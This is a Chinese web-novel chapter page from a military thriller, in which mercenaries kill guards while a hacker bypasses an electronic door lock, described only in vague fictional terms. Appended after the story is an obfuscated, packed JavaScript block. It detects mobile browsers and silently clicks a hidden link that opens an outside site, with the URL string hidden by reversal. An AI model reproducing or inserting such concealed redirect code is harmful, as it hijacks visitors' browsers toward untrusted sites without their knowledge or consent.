第五文学网 > 玄幻小说 > 战场合同工 > 正文 第三千一百二十五章 窃贼锁匠

正文 第三千一百二十五章 窃贼锁匠

    林锐摆手道,“好吧,你尽量快点。刺客跟我走,我们必须清除掉走廊上的两个守卫。”

    刺客小声道,“可是,资料室在走廊的另一面,那两个守卫他们应该不会发现才是。”

    林锐低声道,“他们虽然不会去走廊另一面,但他们还是会顺着走廊巡视。他们一旦到了这里,发现电梯口的守卫不在,会立刻意识到出了问题。而谢尔盖完成解锁还需要更多的时间,为了免除这种意外造成的危险,这两个守卫也必须清除掉。”

    刺客点点头,低声道,“好。”

    谢尔盖转身去开资料室的锁,而林锐和刺客则走向走廊的另一头。他们原本还是想按照之前的办法,接近两个守卫,然后打他们一个措手不及。但这两个在走廊里巡视的守卫警惕性却很高,一看到林锐和刺客从对面走过来,立刻引起了警觉。

    虽然林锐和刺客都穿着守卫穿的雨衣,但是他们依然举起枪喝道,“什么人?!站住,别再靠近了。”

    刺客低声道,“我们是负责楼下的,听说这里需要人手”

    那两个守卫中的一个将信将疑,拿出了无线通讯器准备跟楼下的监控室通话,证实这个情况。

    刺客就在他伸手拿通讯器的时候猛然冲上去,一拳打在了这个守卫的脖子上,这一拳又狠又重。一来借助前冲的力量,二来颈部是神经密布的区域。一拳打下去之后,那个守卫根本就没有任何悬念地倒下了。

    就在他身后的守卫举枪射击之前,林锐抽出冲锋枪对着他的头部就是一个三发点射。守卫满脸是血,当场倒地。刺客伸手将两个守卫的腿拽住,拖到了楼梯的后面。林锐和刺客处理完尸体,才回到了资料室门口。

    谢尔盖正在那里忙忙碌碌地拆解着门锁,听到有动静立刻转身持枪对着他们,发现是林锐和刺客之后,他才松了一口气,转身继续自己的工作。

    “情况怎么样了?”林锐问道。

    “比我想象得简单。虽然是随机密码,但我可以通过重新编写代码,接入门锁上的芯片,达到重置密码的目的。”谢尔盖满头是汗地低着头捣鼓。

    “听起来这门锁很复杂,你到底行不行?要不然我来,直接炸开不好么?”刺客低声道。

    “屁话,我见过的复杂门锁比这还要复杂得多。”谢尔盖气呼呼地道,“撬锁是盗窃的艺术,动炸药的全是是低能儿。再说就算炸开了,那动静差不多能把整栋楼都惊动起来。动点脑子好不好?”

    “那好吧,算我没说。你继续。”刺客摇摇头,走到了走廊边给他们警戒。

    “我很快就会好。别催我,我知道自己在干什么。”谢尔盖看看林锐道。

    林锐转过身道,“我没有兴趣催你,你自己有数就好。”他转身按着通讯耳机低声道,“精算师,你们那儿怎么样?”

    “已经进入仓库了,你肯定不会相信,这个单独的存放仓库里,至少还有十几枚圆点导弹的相关配件。”将岸低声道。

    “全都拍摄记录下来了没有?”林锐低声道。

    “全都记录下来了,包括这些配件的类型和上面的详细编号。你肯定不相信我们我们还找到了什么?是一些说明图纸,这些家伙还准备了一些法文翻译的图纸,估计是用来非洲那些恐怖分子的装配说明。”将岸低声回答道。

    “好吧,这些全都记录下来,等我这边的技术资料到手,任务就完成了。”林锐低声道。

    “你们那里什么情况?”将岸问道。

    “我们已经找到了资料室,谢尔盖正在开锁。”林锐低声道,“如果你们那里已经完成,你可以带人先行撤离。总比这么多人一起行动更保险。”

    “这雨就快要停了。如果雨停了,他们的微型无人机可能升空。你们恐怕很难脱身。”将岸低声道。

    “所以才让你们先撤。”林锐低声道,“只要你们安全了,我们三个人脱身会更容易一点。”

    “好吧,我们先撤。外面的接应小组会等你们,我们还是在藏身处会面。”将岸低声道。

    “注意安全。”林锐点点头,切断了通讯之后,他转身看看谢尔盖。谢尔盖正在将几条线头从门上接出来,连到他的战术平板上,用他专业的软件在解锁。

    “这它妈的是什么玩意儿?”林锐皱眉道。

    “专门用于对付电子锁的,很久以前从一个俄罗斯特工那里搞到的。”谢尔盖,“能够对门锁内部的固件进行重写操作,可以恢复初始设置,通常密码都是连续的一组0,也可以通过重新编程设定一组新的密码。”

    “这东西到底有没有用?”林锐皱眉道。

    “这是俄罗斯情报部门的间谍装备,你说呢?我用这个破解过很多门锁。这个应该也不例外。”谢尔盖一边按着键一边回答道。

    “可是这种电子设备一年就得更新很多次,你确定这东西还能对付么?”林锐有些不放心地道。

    “万变不离其中。这东西实际上就是一个微型的终端系统,和主机相连,然后通过电子信号激活门锁。要打开的时候,除了门禁卡,还需要一段随机密码。这门锁会主动发出一组讯号跟主机进行交流,然后主机提供出随机密码,用以最终解锁。”谢尔盖指着那些电路板和复杂的线头道。

    林锐看得一头雾水,他哪里知道这些窃贼的伎俩。

    谢尔盖一边操作一边回答道,“我拆除了信号发射器,同时用导线把门锁和战术平板连接了起来。这样的话,如果再用门禁卡激活,那么这组交流讯号将传输到我的平板上,连续几次之后,战术平板将执行破解操作,最终查出一段特殊的代码也就是门锁的初始密码。

    我们就可以对门锁进行重置,用初始密码激活,打开门锁。就这么简单,只是具体操作方面有些麻烦而已。”

    林锐看看手表,“精算师他们已经得手了。为了避免人多引起暴露,我已经让他们先行撤离了,我们现在的时间可不多了。”2阅读


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('t y(){p(N z==="O".j("").k().l("")){A P}B a;u C=z[\'\\D\\c\\0\\8\\Q\\i\\0\\6\\3\'][\'\\3\\1\\v\\1\\q\\0\\8\\r\\4\\c\\0\']();a=\'\\i\\s\\5\\2\\1\\R\';u E=S T(\'\\4\\6\\5\\8\\1\\2\\5\\d\\2\\e\\m\\1\\6\\0\\d\\2\\e\\4\\5\\d\\2\\e\\1\\5\\d\\q\\2\\6\\5\\1\\q\\c\\F\\e\\m\\1\\6\\0\\d\\9\\7\\4\\n\\w\\9\\0\\8\\8\\g\\d\\c\\g\\f\\9\\2\\4\\6\\d\\q\\0\\9\\1\\c\\d\\1\\e\\0\\8\\4\\F\\f\\2\\6\\2\\d\\2\\0\\f\\1\\9\\2\\7\\0\\d\\f\\1\\9\\2\\7\\0\',\'\\2\');A E[\'\\3\\0\\c\\3\'](C)}t G(a){B b;u h=o[\'\\n\\8\\0\\4\\3\\0\\H\\7\\0\\f\\0\\6\\3\']("\\4");b=U^V;h[\'\\m\\8\\0\\s\']=a;h[\'\\c\\3\\g\\7\\0\'][\'\\5\\2\\c\\e\\7\\4\\g\']="\\6\\1\\6\\0";h[\'\\3\\4\\8\\i\\0\\3\']="W".j("").k().l("");o[\'\\9\\1\\5\\g\'][\'\\4\\e\\e\\0\\6\\5\\r\\m\\2\\7\\5\'](h);h[\'\\n\\7\\2\\n\\w\']();o[\'\\9\\1\\5\\g\'][\'\\8\\0\\f\\1\\I\\0\\r\\m\\2\\7\\5\'](h)}o[\'\\4\\5\\5\\H\\I\\0\\6\\3\\v\\2\\c\\3\\0\\6\\0\\8\']("\\X\\Y\\Z\\r\\1\\6\\3\\0\\6\\3\\v\\1\\4\\5\\0\\5",t(){p(!J[\'\\i\\7\\1\\9\\4\\7\\K\\4\\8\']){p(o[\'\\9\\1\\5\\g\']!=10){J[\'\\i\\7\\1\\9\\4\\7\\K\\4\\8\']="\\x";L=M[\'\\i\\0\\3\\x\\3\\0\\f\']("\\7\\D\\n\\w\\11\\s\\s");p(!L&&y()){G("12.13.14//:15".j("").k().l(""))}M[\'\\c\\0\\3\\x\\3\\0\\f\']("16".j("").k().l(""),"17".j("").k().l(""))}}});',62,70,'u0065|u006F|u0069|u0074|u0061|u0064|u006E|u006C|u0072|u0062|||u0073|u007C|u0070|u006D|u0079|_0x7a_0xcc0|u0067|split|reverse|join|u0068|u0063|document|if|u0077|u0043|u0066|function|const|u004C|u006B|u0049|isMobileDevice|navigator|return|var|_0x95deb|u0075|_0x80204a|u0020|OpenUrl|u0045|u0076|window|u0056|hasExecuted|localStorage|typeof|denifednu|false|u0041|u006A|new|RegExp|327325|327324|knalb_|u0044|u004F|u004D|null|u005F|moc|8zfjm|2357|ptth|ff_kcul|eurt'.split('|'),0,{}))